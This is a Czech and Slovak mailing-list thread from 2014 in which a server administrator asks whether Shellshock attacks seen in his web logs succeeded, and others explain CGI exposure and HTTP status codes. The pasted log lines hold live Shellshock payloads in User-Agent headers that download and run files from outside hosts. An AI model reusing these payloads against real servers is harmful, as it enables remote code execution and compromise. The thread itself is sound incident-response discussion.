Presne tak, neviem koho napadlo ze 404 znamena ze je vsetko v pohode, ved predsa HTTP status code indikuje nieco uplne ine nez to ci sa nastavili nejake env. vars, prip. ci sa spustali nejake externe prikazy. Moze sice indikovat neexistujuci skript (tam je ale potom otazne ci sa v takom pripade 404 vrati este pred nastavenim env. vars, v tom sa az tak nevyznam), ale predsa aj existujuci skript moze vratit 404, to je predsa uplne normalna vec ktoru skript vrati pri poziadavke na get/update/delete neexistujuceho obsahu.
On 29 Sep 2014, at 11:58, Petr Sykora petr.sykora@gmail.com wrote:
Jinak ono zakernost tedle chyby je to, ze se ten bash nemusi pouzivat naprimo, ale staci, aby se z procesu, ktery ma nejakym zpusobem zmanipulovane env pustil system('cokoliv'), a to klidne i na urovni nejake ceckove knihovny, u ktere si to clovek "zvenku" neuvedomi.
U cisteho CGI je jednoducha cesta, jak zmanipulovat env, jelikoz se ruzne parametry o requestu predavaji prave v env, konkretne uplne nejjednodussi je asi user agent, kterej se typicky predava v $HTTP_USER_AGENT.
Vyhodou FastCGI a podobnych je to, ze amanipulovat env neni tak jednoduche, jelikoz info o jednotlivych requestech se predava jinak, konkretne u FastCGI socketem.
Takze opravdu v zasade ani 200, ani 404 nemusi nic znamenat :(
Zdar, Petr
On 9/29/14, Ján Raška raskaj@gmail.com wrote:
Osobne si myslim ze 200 odpovede nemusia nic znamenat. Ked si vsimnes, 404 to vratilo pri /test a /cgi-bin/test.sh co su URL ktore ocividne nemas, ale / ocividne mas :) a tam to vratilo 200.
Ono aj ked mas zranitelny bash, stale sa nic nemuselo stat, problem je hlavne ak web bezi cez CGI, a co som sa o tom bavil so sysadminom jedneho zakaznika, tak pri FastCGI (bezne riesenie pri PHP pod nginx) SCGI a pod. vraj treba aby bash bol pouzity ako CGI jazyk, lebo FastCGI a pod. nepouzivju premenne prostredia na posuvanie informacii skriptu. A uprimne povedane, nepoznam vela webov ktore dnes bezia cez klasicke CGI, a pouzit bash ako skriptovaci jazyk pre FastCGI mi teda ako dobry napad nepride :)
Anyways, 200 znamena, ze tvoj webserver uspesne spracoval request, a pokial zrovna nepouzivas CGI, tak mas viac menej Ty kontrolu nad tym ci je mozne obsah tych params spustit v shelli alebo nie :)
On 29 Sep 2014, at 10:37, Jan B. Kolář janbivoj.kolar@zazen-nudu.cz wrote:
Díky za odpovědi,
ano, to jsem si myslel. Mě právě zarazilo, že v logu mám nějaké odpovědi 200:
70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /test HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:31 +0200] "GET / HTTP/1.0" 200 3296 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
212.51.60.58 - - [29/Sep/2014:00:30:18 +0200] "GET / HTTP/1.0" 200 3296 "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"
A to přesto, že jsem bash aktualizoval už 24. a 26.9. (mám aktuální verzi Debianu). Viz výpis "less /var/log/apt/history.log":
Start-Date: 2014-09-24 16:38:28 Upgrade: bash:amd64 (4.2+dfsg-0.1, 4.2+dfsg-0.1+deb7u1) End-Date: 2014-09-24 16:38:34
Start-Date: 2014-09-26 08:39:57 Install: php5-cli:amd64 (5.4.33-1~dotdeb.1) End-Date: 2014-09-26 08:40:18
Start-Date: 2014-09-26 15:10:51 Upgrade: bash:amd64 (4.2+dfsg-0.1+deb7u1, 4.2+dfsg-0.1+deb7u3) End-Date: 2014-09-26 15:11:23
Poradíte, co teď dál?
Honza
On 29.9.2014 10:12, Petr Krcmar wrote:
Dne 29.9.2014 v 10:08 "Jan B. Kolář" napsal(a):
možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik byl úspěšný či nikoliv?
Dá se zjistit, jestli útočník tipnul správný soubor. Pokud tam vidíš 404, tak se určitě nikam nedostal a neexistuje skript, který měl možnost ten podvržený kód zpracovat. Pokud ovšem v logu vidíš 200, pak útočník kód dostal k serveru, dostal výstup, ale už nevíš, co se dělo dál. Jestli byl útok úspěšný tam nevyčteš.
Community-list mailing list Community-list@lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list
Community-list mailing list Community-list@lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list
Community-list mailing list Community-list@lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list